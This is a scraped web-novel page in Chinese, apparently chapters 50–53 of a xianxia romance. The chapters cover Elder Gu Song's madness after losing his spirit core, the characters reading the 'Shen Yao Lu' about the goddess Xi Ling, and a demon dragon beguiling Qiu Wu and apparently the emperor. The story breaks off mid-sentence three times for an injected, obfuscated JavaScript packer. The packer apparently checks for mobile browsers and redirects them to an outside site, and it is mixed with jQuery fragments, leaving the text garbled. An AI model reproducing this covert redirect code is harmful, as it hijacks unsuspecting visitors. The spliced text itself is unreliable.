容檀又急又慌,刚一伸手想扶他立马被谷嵩躲开了,容檀柔声问:“谷嵩圣灵,您这是怎么了,有什么我们能帮忙的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812495|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谷嵩圣灵听见了声响,小眼睛盯着容檀半晌后忽然大叫:“有人要杀我!他要杀我!” “谁要杀你?”连逸已移至容檀之前,两只手握住谷嵩的两个臂膀,和声道:“圣灵莫慌,他不在这里,你不必害怕,你慢慢告诉我,是何人要杀你?” 方才密帖上说的罪魁祸首连逸一点也不相信,应白尚且要保全自身,怎么可能再返虎穴?他有什么能力能让两位圣灵疯掉? 没有什么比直接询问受害者更准确的了,连逸的心提到了嗓子眼,他还从未见过堂堂一个圣灵如此狼狈,连体面都没有了,不用想也知道事情的严重性。 只见谷嵩圣灵闻听连逸的问话后像灵魂出窍似的在原地一动不动,他惊恐的双眼渐渐变得愤恨无比,喉咙里发出野兽进攻前的咕噜之声。 先前还是连逸两手握着谷嵩的双臂,此刻谷嵩忽然掐住连逸的脖子,含混不清的声音从牙缝里挤出:“是你,竟然是你!” “谷嵩圣灵,您清醒些!”容江抓住了他的手腕,趁机试了试他的脉象,脸色骤变。 容檀拉着连逸离开谷嵩数步,又上前尽量让自己冷静尊敬地问:“谷嵩圣灵,这里是清凌门,没有人要害你,您先冷静一些……” “他没了灵力。”容江深沉的声音令容檀目露错愕。 她盯着谷嵩圣灵胸脯下那一滩血迹,清楚又不敢清楚,确定又不敢确定,“他……谷嵩圣灵……” “他灵核被挖,已经疯了,无药可救。”容江拉开了容檀和谷嵩的距离,眼看谷嵩一会害怕一会发怒。 他指着树说“是你”,指着山说“是你”,将容江、容檀和连逸都指了个遍,这时连逸又抓住谷嵩圣灵问:“是谁害了你?” 谷嵩圣灵又愣住了,他维持着一个半蹲,双手伸开的姿势呆怔了半晌,忽然怒看连逸,一把把他推在地上,手指他大喊:“就是你,应白!你挖了我的灵核!我要杀了你!啊!” 他下意识做拔剑动作,忽然想到自己已经没了剑,于是抱起地上一块山石就朝连逸砸去。 容檀忙上前拦住,大喊道:“他不是应白,应白早就跑了!”说完,她扭头朝连逸催道:“快飞鸟传书圣灵宫!” 谷嵩圣灵犹如疯子一般,其实凭容檀实力大可以应对但她不敢,只因对方是圣灵,她不可僭越。 就因她存了尊敬之心,谷嵩圣灵又彻底疯魔,见人就说是应白,如今看容檀在眼前晃悠,他便大喊一声:“逆贼应白!”然后一脚朝容檀狠踢了过去。 容檀吃痛不已,手一松,脚下站不稳就跌到地上,而谷嵩已高举山石过顶,红眼涨脸,歇斯底里咆哮道:“应白!受死吧!” 紫阳宫的藏书阁内,应白又打了一个喷嚏。上官琛关切道:“你不会睡起来吹风受凉了吧,已经打五个喷嚏了。” 受没受凉应白心里有数,他也不知道为何会一直打喷嚏,对上官琛笑笑摇头道:“我没事,可能谁在念叨我吧。” 上官琛“切”了一声,继续低头看书。 这边,容檀还未从跌倒的疼痛中反应过来,就见一个山石已朝自己面上扔来,她本可以一骨碌身躲开,可容檀从不会躲避,有天大的事她也要用自己引以为傲的中灵之力来解决,于是掌心飞快凝结灵力,但已然来不及。 容江早一道灵力飞了出去,这道灵力按理讲会不偏不倚将山石击个粉碎,可他没想到跟他反应一样快的还有连逸。 一道残影从容江眼角闪过,在灵力和山石互相碰撞的前一瞬间,连逸朝容檀俯身,一手拉过她的胳膊往一旁滚去。 只听得一声轰然炸裂之响,大大小小的碎石全打到了他身上,容檀整个身子被连逸侧挡住了,倒是没有被碎石嘣到。 当她明白发生了什么事后,一双眸子又惊又怒又呆地看着眼前离自己近在咫尺的人,两双眼睛一上一下相互对望。 容檀恼羞成怒,一直以来因连逸而憋在心中的火气“噌”一下爆开,她一把推开了他,刚要说“大胆”,便闻得一声异响。 容江把谷嵩打晕了。 51. 神妖录 人都疯成了这个样子,为避免有更多变数,容江一掌下去后,谷嵩手指着他,虚弱地叫了声“应白”便晕过去了。 容江让容檀给圣灵宫写信,就说清凌门发现谷嵩圣灵时他已经晕倒在地,除此之外,只字不提。 临到傍晚才有几名使者御剑飞至清凌门。容檀客客气气说了两句话后,几位使者便驾着谷嵩走了。 没过几日,各掌门又收到了圣灵宫密帖,上头言:罪人应白已设计挖取谷嵩圣灵灵核,一经发现,速报圣灵宫(万初印)。 容檀放下密帖冷笑道:“应白真是神通广大,是不是天底下就没有他做不到的事?连一个圣灵的灵核都能挖走,其心之意不言而喻。容珠在清凌门修炼十几年都是废物,反而跟了他就有了灵力,真是奇迹啊……” 海上场景仍历历在目,容珠那一剑着实震惊到了容檀,她一向认为容珠是天生废物,当亲眼看到她使出一道尽管对容檀而言微不足道的灵力时,无疑打破了容檀沾沾自喜多年的自信。 容珠是废物,她也希望她永远是废物,这种希望不知从何时变成了想当然的认定,若容珠在修炼上有天赋,那她的光芒定会超过自己。 容珠本就是清凌门掌门之女,除掌门外首先注意到的就是她,若她天生丽质再加上灵力不俗,她容檀就再没有引人注目的时候。 可喜就喜在,容珠真的修炼不起灵力。 当嘲笑,讥讽落在容珠身上时,容檀也获得了弟子们的仰慕和献媚。 现在的掌门之位虽时常压得她喘不过气但她也分外享受占有,因为她就想要光芒笼罩自己,手握权力,步步升高。 她要向容珠表露出己强她弱,反复表露是为了安心,安心本质实则害怕。 容檀现在做梦都能梦到容珠有应白的帮衬灵力越发厉害,她攻破清凌门,剑指自己,散发着与往日截然不同的凌厉和杀气,讥笑道:“容檀,你占据我位子多年,今日我便清理门户,拿回属于我的东西!” 容珠……容珠……不过几月光景你就蜕变如此厉害,来日再见是否会梦境成真? 容檀望着密帖,嫉妒、害怕、不甘、好强通通围绕着她,她正想得出神,连逸平静的声调拉回了她的思绪。 “掌门喝茶。”他把一盏清茶放在容檀面前,容檀斜眼看他:“喝什么茶!” 连逸道:“掌门心内有火气,喝口茶冷静一下。” 容檀知他并不赞同自己刚才说的话,便道:“你不是就喜欢维护应白和容珠吗?现在不说两句?” 她笑意盈盈,眸底却是寒冰的冷。 连逸依旧平静道:“日久见人心,清者自清。” 容檀来了兴趣:“你总想和应白为伍,难道不知他是所有人口中的疯子魔头,你赞同他你也是疯子魔头,你想当这样的人?” 连逸心内叹了口气,嘴上说:“从人嘴里说出的不一定是事实,外界评价也不过是人云亦云,我只是认为人该心中有爱,这才是人存在的意义。” 容檀又听他说起这些话不免不耐烦,没好气道:“你告诉我,爱是什么?” 爱是懦弱者的行为,尊贵者就该恃强凌弱,容檀一直如此认为。 寂静了片刻,她见连逸不说话以为他无话可说,可他一双漆黑平静的双眸一直在看着自己,让她霍然想起那天他把自己从山石下拉走的情景。 这时,连逸开口道:“掌门身兼重任难免精神疲倦,眼下发青,若有时间便多休息一会儿,照顾好自己。” 黑眼圈是真,眼中的疲劳清晰可见。不过连逸说这话终究半真心,他是想让容檀明白爱是什么。 他缓慢低沉的声音听在容檀耳里稍觉诧异,可渐渐回味过来后便明白他是在回答自己的问题。 容檀想要的是别人对她的仰视,对她投来嫉妒羡慕的目光,她的一举一动都会对身边人造成莫大影响,每当看到这些人怀着或怕或敬或慕或谄的眼神看向她时,容檀心里就分外感到满足。 细想想,清凌门哪一个弟子不仰慕她,可有些情绪在连逸眼中从未出现,就好像他所做的一切都是被迫的。 容檀心有不满,猛一听连逸这句超乎寻常的话微微怔了半刻,这是其他弟子绝不会对她说的话,这是除爹爹外无人对她说的一句话。 她盯着连逸双眸,不去想他古怪的思想,却是在想他是否真心。 连逸垂了眸子。良久,容檀似是浅浅笑了一声,声音依旧冷漠高傲:“不用你多事。” 连逸不再说什么,心想还得更用心才行。 * 连续几日魔龙都没来扰乱朝荣国中人,上官琛甚是奇怪,又不能去洞穴再杀它一回,毕竟水下是它的地盘且不好作战。 邱梧玩笑道:“不会是在洞里修屏障吧?” 上次应白告诉上官琛要在屏障的哪几处地方分别使用灵力,那屏障被破后,上官琛还拿着长枪补了几刀,也不知有用没用。 “想来那魔龙法力高强,即便屏障受损修个两天也就好了,别忘了容珠姑娘说魔龙会蛊惑人心,他这么长时间不出来作妖,我们一定不能放松警惕。”顾寄章的适时提醒让众人又都严肃起来。 沈宫主笑道:“心存正义又怎会受魔龙蛊惑,容珠姑娘不就没落入魔龙的算计中?” 容珠一阵心虚,尴尬笑道:“着实危险,我不过侥幸而已。” 她只对众人说魔龙能蛊惑人心,但没说蛊惑了她什么。她感觉应白的目光往这边看,她抬眸看他时应白又不经意收回了目光。 自那天噩梦一事后,她和应白之间就有种微妙的隔阂横在中间,她总觉得应白在躲着她,除了吃饭说话在一处,就再没有独处的时候,难道他还在为那件事感到抱歉吗? 容珠不太想和应白保持这种感觉,但自己再跟他解释是不是更尴尬?要是他知道自己曾经趁他昏迷的时候亲他不知会不会反过来生自己气。 唉……容珠内心叹了口气。 正这时,上官宫主跑了过来,他朝众人晃了晃手臂,容珠看见他手中正拿着一本发黄的书。 “找到了,我找到了。”上官宫主兴高采烈,他坐在桌前将这本很旧的书放在桌上,众人定睛一看,见此书名为《神妖录》。 邱梧道:“哎?应白不是说他曾经也看过《神妖录》吗?” “正是正是。”上官宫主指着这本书道:“这《神妖录》就是我上官家的祖传书籍,那天听应白说起时我就觉得耳熟无比,谁能想到我家秘籍也叫这个名,这上头就写着奚昤的来历呢。” 说着他翻开书搜寻那一页,沈宫主道:“你怎么连你家书籍叫什么都不知道?” 上官宫主干咳两声:“因为是祖传的嘛,幼时读过一次就再不舍得碰,一直保存着呐。” 上官琛闻言噗嗤一笑,是舍不得碰还是不愿意读,父子俩心中都有数。 说话间,记载奚昤信息的那一页已经翻到,上官宫主指着这页念给大家听:“盘古开天辟地后,天地间诞生了两位神,一位女神叫奚昤,掌管世间善与爱。一位男神叫苍望,掌管世间恶与恨。 “彼时混沌初开,妖魔横行,世间善恶失衡。奚昤神尊用爱之力量驱赶妖魔,为人类免除妖祸。她与苍望神尊共掌世间运转规律,爱恶相生,此消彼长,天上地下得以平衡延续。” 上官宫主的声音抑扬顿挫,上官琛正听得认真,见他忽然不读了,便问:“没了?” 上官宫主:“讲完了。” 其余人也正听得聚精会神,谁知书上就记载了这么一点。 “那魔龙说奚昤是它的主人,书上没说这魔龙来历吗?”上官琛问出了众人心中想问的问题。 他拿过这本书看完这一页去翻下一页,下一页画着一个模样丑陋的大妖,身上不知道为何有七道伤痕。 上官琛心想这本书的后面在讲妖怪,说不定有魔龙的信息,当他翻到最后一页时,泛黄的纸上果真画着一条黑黢黢的龙,上官琛当即认定画的就是魔龙,惊喜道:“在这里!” 他凝神屏息,一手轻轻压着书的另一边,一手指着上头的字念道:“开天辟地第一神龙,水神之化身,掌管风雨雷电,阴晴圆缺,或居于云端或潜于海底,不见踪迹,不明真身。上述画样乃个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819188|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人想象,仅供参考。” 容珠讶然,仅供参考四个字让她不得不怀疑内容的真实性,既没见过这条龙怎么知道它是谁,能干什么? 上官琛双眼越瞪越大,笃定道:“这说的肯定不是魔龙。” 即便纸上画的龙与魔龙大差不差。 “魔龙曾说自己是开天辟地第一神龙。” 容珠回想起了魔龙说这话时的样子,似乎很是自豪。 上官琛“啪”一下把书合上,“它祸乱百姓,绝不可能是神龙!” 这便又回到了天道的问题上。 魔龙所做的一切都是因为要恢复天道,怎么看,它都不像这本书上描述的那样,可容珠又隐约感觉它们是一条龙。 她不知道自己为什么会有这种感觉,似乎不应该这么想,因为就像上官琛所说,魔龙残害百姓。 上官宫主叹道:“看来这本书记载信息甚少,我们虽说知道了一些东西,可此刻看来好像并没有太多用处。” 沉寂之气在众人周身蔓延,容珠心内思索:那魔龙说奚昤是神,如今得到了证实的确如此,魔龙还说她的灵核之所以是金色的就是因为那是奚昤的神识,那…… “那神识是何意,是说奚昤寄生在了容珠体内?”邱梧正好问了出来。 “依我所见……”顾寄章沉思半晌道:“神识应不是奚昤本体,有可能是她的一点灵魂或者是一缕意识。那么她为什么要把自己的一点灵魂或一缕意识附在容珠姑娘体内?” 顾寄章像在问别人也像在问自己,一时间众人各自思索。 上官琛道:“很简单,上古神尊都羽化了,那奚昤定然想让自己永远在世,所以她分出了一部分灵魂留在世间,而灵魂虚无缥缈,非得有个寄生的东西才行,所以偶然间就选中了容珠姑娘。” 容珠心中疑惑:所以奚昤只是想永远活着?她曾经不断附在人类体内,等这个人死了就去找下一个人? 邱梧摇头道:“你说的不完全对,神怎么会在意生死呢?我一直在好奇一件事,自古以来,百姓大多喜欢塑神像,各路神仙多少都雕画过,为什么从没有人雕塑奚昤和那位苍望神尊呢?根据书上叙述,奚昤和苍望分明是极其厉害的神,他们维护世间发展,如此地位,怎么后世反而对他们一无所知?” 容珠想起自己的世界也存在着诸多神话传说,不过诸多神仙中,圣灵宫只供奉三个战神。其他门派也效仿圣灵宫只供奉战神,至于民间供不供奉神她就不得而知了。 正出神想着,忽感小腿痒痒,容珠低头,见金毛嘴里叼着一根骨头冲她摇尾巴,容珠摸了摸它的脑袋。 上官琛皱眉道:“爹,这本书真的是祖传的吗,不会是先辈们逛街时被哪个摊贩忽悠了吧?” 上官宫主佯装要拍他脑袋,“你小子瞎说什么,别忘了应白也说自己看过一本《神妖录》,上头写着关于奚昤的内容呢。” 应白微微抬眸,盯着这本《神妖录》道:“实在是巧,上官宫主家的祖传书本与我曾经看过的书是同一本,莫非有关奚昤的信息只在《神妖录》中有?它既然作为一本祖传书籍流传下来,是否证明它并不是一本普通的书籍?” 紫阳宫藏书阁内有上千本书,沈宫主可以确定其中并没有一本叫《神妖录》的书。 上官宫主问:“那你是在哪里看到的?也是你家祖传的吗?” 应白摇摇头:“是我师父的书,我初见时便已落满灰,想来并非祖传。” 他一见着上官宫主的《神妖录》便发现这跟自己当年看过的那本书一模一样。 这不是一件很神奇的事吗? 他和上官宫主是两个世界的人,《神妖录》也出现在了两个世界中。奚昤是善与爱的神尊,苍望是恶与恨的神尊,不正分别对应着自己生活的世界和朝荣国吗? 但出生在恶世界的容珠,体内却含有奚昤神识,容珠前十几年都练不成灵力,当心中有爱的时候灵力便突飞猛进,因为这迎合了奚昤的职责,所以…… “或许……”应白缓缓道,“容珠体内有奚昤一部分神识是因为奚昤要确保世间有爱。” 52. 救世主 如果《神妖录》这本书记载的内容是对的,在远古时期真的有奚昤这个神,是不是意味着魔龙说的话都是真的? 奚昤是它的主人,它是神龙? 有奚昤,就一定有苍望,有爱就有恨,有善就有恶。善与恶要维持某种平衡才是天道所向? 她记得魔龙在洞穴里曾说过一个词,叫物极必反。 容珠所生活的世界太过残忍无情,或许只有极少数人心中的爱会强过恶,可是在那种弱者低贱的环境下,为了生存,心中那点爱也被恶侵占。 没有人认为这不对,强者以高贵于世,弱者以低贱讨生。千百年来只有应白出世后以仁爱之言警醒所有人,可他没能反转世界,是他力量单薄,还是那个世界里的恶还没到极点? 她感觉有无数信息和条理在她脑中穿梭,她来不及再想这个问题就被下一个更重要的念头勾走。 是应白告诉她,她的灵核是金色的,也是自己一直以来修炼受阻的原因。从前容珠不明白爱,从不实行过爱,如果她一辈子不明白便是一辈子的废物,所以应白方才所说奚昤的神识在自己体内是要确保世间有爱。 难道奚昤想要自己去发扬爱? 那天在魔龙洞穴中,魔龙说那个世界已经有救世之主了,难道它在说自己? 不对。 容珠隐隐觉得少了点什么。 一则自己并没有实际干过什么发扬爱的事,二则自己还没有完全明白爱是什么,她所懂的爱都是应白慢慢教给他的。 没有他,自己就不会意识到人该有爱,灵力也不会因此提升。 他…… 他! 是他! 容珠脑中灵光乍现。 应白是一个自始至终都有爱的人,在那个世界所发生的一切大事都是围绕着应白产生的。他是那个世界的公敌,是所有人要合力讨伐的对象,就像朝荣国有魔龙,而那个世界有应白…… 后背忽地感到一阵寒栗,大脑像被掏空只剩一片空白,容珠还想再推断下去却已是思绪混乱,无从理起。 关于容珠原先修炼不起来灵力后来又如何修炼一事,众人略知一二。对于应白和容珠二人所在世界的残忍无情之状,众人也都十分愤慨。 经应白如此一解释,想要明白容珠体内为什么有奚昤的神识就不奇怪了。 “奇怪。”上官琛还是有所困惑,“奚昤神尊是随便选人附身还是有条件啊?万一容珠没有遇见应白呢?还有,为什么会有两个极端世界存在?难道开天辟地之后就存在两个世界了?” 应白沉思后道:“我们知道的信息太少,想那魔龙或许真有来历,只是不知它要作恶到何种境地才算平衡了世间规则。” 一个问题的诞生往往又引申出更多问题,众人又讨论半晌。 天色渐黑,沈宫主安排人摆饭,众人讨论许久都觉饥肠辘辘,此时一名弟子脚步匆匆进门道:“宫主,皇宫传令。” “传令?”沈宫主略感疑惑。 传令通常指陛下要传人进宫或者有什么新的旨意要让人做,传令二字代表着事情或紧急或严肃,沈宫主已经许多年没有收到过皇宫指令了。 正黄的令旨缓缓展开,沈宫主双眸顺着字迹缓缓移动。良久后,上官宫主问:“何事啊?” 沈宫主皱眉,将令旨放下道:“令旨是陛下写给各派之主的,你也有。陛下让我们明日去皇宫朝拜。” 从前每逢朝荣国成立之日或陛下寿辰时,各派之主会进宫朝拜,后来陛下觉得太过铺张就免了寿辰之日进宫朝拜的规矩,如今只有每年朝荣国成立之日才会宣各人进宫参加典礼。 “最近没什么特殊日子,怎么如此兴师动众去朝拜?”上官宫主起身去看令旨内容,上头竟只有一句话:各门派之主明日巳时(上午九点)进宫朝拜。 沈宫主不以为然:“陛下让我们干什么我们就干什么。” 说罢就要去吃饭,上官宫主不在此蹭饭,要回去接令旨。 今日饭菜中有麻辣鸡,沈宫主招呼应白:“你爱吃辣,快尝尝这个。” 容珠夹了些笋丝送入口中,闻言瞟了一眼应白,随后听他笑道:“如今不怎么爱吃了,倒爱吃些清淡的食物,对身体有裨益。” 容珠颇感意外,又瞟了眼身旁的邱梧,邱梧抬眸朝应白坐的位置看了一眼又继续低头吃饭。 沈宫主好奇:“我记得你一直喜欢吃辣,想来变了口味?”又笑道:“我们都是从小吃辣,只管过瘾不管健康,确实也该清淡饮食,要说清淡,这道清炒笋丝不错。” 于是应白夹了一大筷头放入盘中。 容珠看着碗里的笋丝心里纳闷:什么时候不爱吃辣了?不是喜欢么? 既然应白不吃辣,沈宫主就将麻辣鸡放在邱梧和上官琛面前。他们俩吃得两眼泪光,两腮发红,金毛衔着碗在上官琛腿边摇着尾巴仰头看他,上官琛将第三碗米饭扒干净后便将鸡骨头倒在金毛碗里,两人一狗吃得很是过瘾。 应白好像一眼都没看麻辣鸡,桌上除了辣菜以外的菜他都吃得津津有味。 顾先生也不怎么吃辣物,沈宫主还给他夹了两回菜。顾先生很是客气,又给沈宫主倒酒,不小心把自己的一根筷子掉在了地上。 容珠心觉今日晚饭着实美味。 * 第二日,沈宫主一早就去朝拜,临近中午方回来,邱宫主和上官宫主随后同行。 彼时容珠四人正在藏书阁看书。她在找神魔一类的书籍,看看有没有书记载着上古时期的事。 她看得脖子发酸,欲抬眸观望窗外景色,不经意间看到邱梧正手捧着书,眼神呆滞地看着某处。 容珠顺着她的目光移去,见应白正靠着窗户凝神读一本草药类的书。 她悄悄将书本上移盖住半张脸,只露一双眼睛在外面,看看邱梧看看应白。 容珠次次看次次觉得邱梧和师父是多么般配,如果师父能恢复灵力那真是圆满的一件事了,可魔龙让她认清了心,自己也喜欢他。 魔龙想要蛊惑一个人定会选中这个人内心深处最敏感最需要的东西,它只要说上两句话,人就会失去理智,对它完全信任依赖。 容珠曾想控制自己去想应白,但越控制越助长心底的思绪,譬如现在,她本在看邱梧深情满满的目光,但不知何时目光已经停留在应白脸上了。 窗外的光线斜打在他脸上,他的脸一半光明一半阴影,棕色的眸子深邃宁静,释放着夺目柔光。他身上总有一种温和安宁的感觉,仿佛一靠近他就会远离所有的喧嚣,从他身上,容珠无法想象应白恶作剧师公的情形,无法想象邱梧口中那个英姿勃发,活泼又沉稳的少年,她只认识现在的应白,那他喜欢自己现在的样子吗? 容珠也想当他手中的书,他看她,她也看他。 他的食指翻过一页纸,目光移至这页的前两行开始阅读。那么不经意,自然地,他微微抬眸,眸光划过书顶,与容珠的视线相互对接。 像被发现了小秘密,容珠的心跳落空一拍,下意识想回避,可又不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823099|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道该看哪,忽然想起来手中还有书,忙把书摆在眼前装作在读。 应白本想偷看她,没成想被她撞上,对方躲闪的目光让他心底游过一丝担忧,她还在介意那天的事吗? 他不想总跟她保持这种隔阂,可该说的话已经说了,要怎么做才能恢复如初? 不远处的邱梧顺着应白的目光看向容珠,她正在低头看书,似乎什么也不知道。她打量两人片刻后放下书出去吹风。 秋风飒爽,吹得邱梧脑子越来越昏胀,她双脚麻木地走在菊花道上,昨晚的那个声音不停地在她耳边回想。 “邱梧。” 她正睡得深沉,分不清梦境与现实,只知道有个极温柔着迷的声音在她耳畔缓慢道:“傻姑娘,你怎知他不喜欢你呢?” 邱梧心头一荡,想睁眼,但眼皮沉得很,她好困,从没觉得身下这床如此舒服,不觉浑身放松了下来。 眼前一片迷雾,又像在云端,白茫茫地看不清,她心里道:“你怎知他喜欢我?” 那声音透过云层柔缓漂浮,“你才貌双全,又是他平生所认识的第一个女子,当年之情已经将你二人的缘分连在一起,他在漩涡之境的那些年里一直在思念你,这不是喜欢是什么?” “果真?”邱梧声音激动,转瞬想到了什么,有些犹豫:“可……” 云层后的声音又近了些,“我知道你在想什么。” 邱梧顺着让人着迷的声音痴痴望去,隐约见云层中闪着一抹黄光,她朝它靠近,它也朝她靠近。 “如果不是她出现,你和应白就是天生一对,世上再没有一对佳人能像你和应白这般般配。” 邱梧感觉这个声音的主人已经近在眼前,她迫不及待想见到它,不停将眼前的白云朝两边拨开,金黄的光亮在云层后若隐若现,邱梧有些兴奋,有些害怕,“我想和他在一起。” “当然可以。”金黄的光亮往前靠近了一点,充满希望的嗓音在邱梧耳边诱惑着:“没了容珠,你就能和他在一起了。” 话音落下的一瞬间,最后一层白云被风吹散,两颗硕大的,金黄的眼珠子十分突兀、明显地出现在邱梧头顶。 一丝警惕猛地升起,可在目视这对眼珠的刹那间,所有美好的情绪将这丝警惕掩盖的丝毫不胜。 邱梧的眼神慢慢呆滞,她贪婪地、沉醉地看着眼前之物,微微张嘴,笑道:“我要怎么做?” 两颗眼珠子动了起来,周遭的云层似乎也在微微浮动,云层之后,一条纯黑粗壮的身躯渐渐显露。 被动静吸引,邱梧木讷看去,似乎觉得有些眼熟,自己好像知道它是谁。 “杀了她。”温柔的声音再度响起,邱梧心头微微一震,嘴角的笑容像被冰封,僵硬地保持着弧度。 魔龙继续诱惑:“想和应白在一起就杀了容珠,别让她妨碍了你的姻缘。” 容珠…… 邱梧在心里默默念了念这个名字,木讷的眼神看到一条龙尾在云层后面摆动,她猛地一激灵,瞳孔皱缩,喊道:“你是魔龙!” 说罢,当即一道灵力冲魔龙击去。 突然脚底一空,邱梧从梦里惊醒,浑身发冷,到处搜查魔龙身影,但见窗外月色皎洁,月夜宁静,过了好一会儿她才平复气息,一夜辗转难眠。 此刻,又一阵秋风激醒了邱梧,她望着眼前这朵金黄的秋菊,心中暗道:魔龙果然威力无穷,从前只与它武力对战,如今却要精神对决,它知人心底最渴望的东西,她能防得住一次,还能次次不受它蛊惑吗? 53. 迷心人 连续三天,朝荣国各派掌门和朝中官员在巳时前进宫朝拜,一朝拜少则半个时辰多则一个时辰。 按说朝拜不过是个典仪,烧香祭祖,磕头跪拜,诵经祭天,祈求年年风调雨顺。可这几次朝拜让众人嗅出了不一样的迹象。 第一天//朝拜,各派掌门和官员在大殿外等候陛下宣见,左看右看也没有祭典仪式该有的布置和物品,正奇怪时殿门打开,乌压压的一群人陆陆续续进入殿内,高座上的赵皇帝一身黑袍,庄严肃穆,讲了一个多时辰朝荣国历史便让众人散去,第二天继续来。 第二天//朝拜,众人进入殿内排排站好,史官说陛下还未起床。众人窃窃私语,心知赵皇帝并非懒惰之人,或许生病了。当神采奕奕的赵皇帝从帘后出来时,众人表情各异,听他讲自己上位以来的民间状况,不过半个时辰就哈欠连连,似乎很是疲惫,遂让众人散去,第三天再来。 第三天//朝拜,赵皇帝的目光一一扫过底下诸人,满意笑道:“寡人乃朝荣国现任君主,连日朝拜望尔等谨记,除祭天外,每人每日都需对寡人怀有敬仰敬畏之心,往后日日朝拜,诸位需行三跪九叩大礼,不得有误。” “陛下似乎变了性情。”沈宫主面色沉闷,今日朝拜让她不得不怀疑事情的异样。 上官宫主摩挲着下巴道:“陛下怕不是中邪了吧?” 闻言,邱梧心里一咯噔,容珠和应白心中俱有猜测。 “三跪九叩可是极大的礼节,陛下竟说让我们日日这样拜见他,完全不合乎常理啊!”上官宫主嗓门一出,堂中越发显得寂静无比。 邱宫主道:“陛下勤政爱民,心怀仁厚,时常听群臣建议来规谏自己,今日所言完全不符合陛下性情,且事发突然,莫非……” 容珠看到了邱宫主投过来的目光,心下会意,“可能与魔龙有关。” 沈宫主又惊又气:“魔龙竟然蛊惑了陛下?” 上官琛一拍桌子扬声道:“这死泥鳅,打不过我们就耍阴招,陛下乃一国之主,岂能让它随意玩弄,听它号令,我们不能让泥鳅得逞,该想办法才是!” 邱梧几不可察地叹了口气:“恐怕难。” “难又怎样,只要有办法,我们齐心协力定能帮陛下摆脱魔龙的控制。”上官琛信心十足,似乎要去跟魔龙打一场。 邱梧眼下发青,垂眸道:“你不要忘了,魔龙能看到人心中渴望的东西,只要是人,心里或多或少都会有各种愿望,魔龙利用愿望蛊惑人心,陛下没有灵力自保,当然任凭魔龙操控。” 其实近来晚上魔龙一直在梦中蛊惑邱梧,邱梧深知靠灵力自保不太可能,灵力能抵住外在对身体的袭击却不能抵抗魔龙对她欲望的诱惑。 不过上官琛一听此言像被噎住了喉咙,情知有理,不免又急又气,“我们得告诉陛下他已经受魔龙蛊惑,让他快快清醒!” 沈宫主眉头紧锁,赞同道:“阿琛说得对,明日朝拜之时我提醒一下陛下,魔龙实在狡猾,朝荣国不能毁在它的手中。” 容珠深知被魔龙蛊惑后的感觉,就像世间所有美好事物都朝自己涌来,过去那些不好的经历都忘得一干二净,内心会视魔龙为天神,对它的话唯命是从。 她不确定人在被蛊惑的情况下能否听进别人的劝告,而此时,应白恰好开口道:“沈宫主,我建议不要采用这个方法救醒陛下。” “为什么?” 应白分析道:“假设陛下的所作所为真的是被魔龙蛊惑,从某种角度来讲他所做的一切都是他自愿的。” “什么意思?”上官琛不解。 “魔龙会选择人心中最需要且最想要的愿望来诱惑,正常的陛下在种种道德前提下没有让他的愿望生根发芽,魔龙可以放大人心中的恶念,此刻陛下心中的恶念已经超过了他的仁爱,旁人劝阻提醒很有可能推波助澜,让他的恶念更加肆虐。” 应白自认自己不是一个合格的充满仁爱之人,从最开始想让容珠拜自己为师时便另有所图,后来意识到自己喜欢她,明知自己是她的师父却还想与她亲近。 这些不道德,不正确的想法让他明白自己的心灵并不纯净,而这些欲念一旦生起,他就知道自己有多渴望想得到。 这往往是只顾自己利益不顾他人想法的行径,必须得自己克制规束才能不让自己随心所欲。 沈宫主道:“可我们总不能袖手旁观。” “魔龙玩的是心计,除非被蛊惑之人有足够强的自控能力,或许可中途清醒。”应白边说边思考。 顾寄章面含愁容:“陛下是一国之君,如果魔龙想祸乱朝荣国,利用陛下的确能最快最显著的达到目的。” 众人心中一惊。 不说魔龙到底助长了陛下什么愿望,但凡陛下听从魔龙诱惑下达任何指令或政策,朝荣国都将有翻天覆地的变化。 他是君王,他的命令就是一切,他拥有朝荣国的最高权力,除了呼风唤雨,他什么都能做到。 * 第四天//朝拜,众人在行完三跪九叩大礼后,一个白胡子官员站出来十分委婉地告诉陛下:“三跪九叩是我朝臣民祭拜天神时所行礼节,陛下乃真龙天子,受此礼并无不妥,但也该有个由头才是。” 赵皇帝道:“寡人是真龙天子,这便是由头。” 白胡子官员目露震惊,其余官员虽站着一动不动,但一双双眼睛却惊疑不定。 白胡子老头调整好思绪后又缓慢道:“陛下一向仁爱宽厚,体恤臣民,早在五年前就将三跪九叩大礼改为了仅三拜,臣疑惑,为何如今又重新启用?” 赵皇帝眸光冷厉,五色冕旒闪动着锐利珠光,“大胆!” 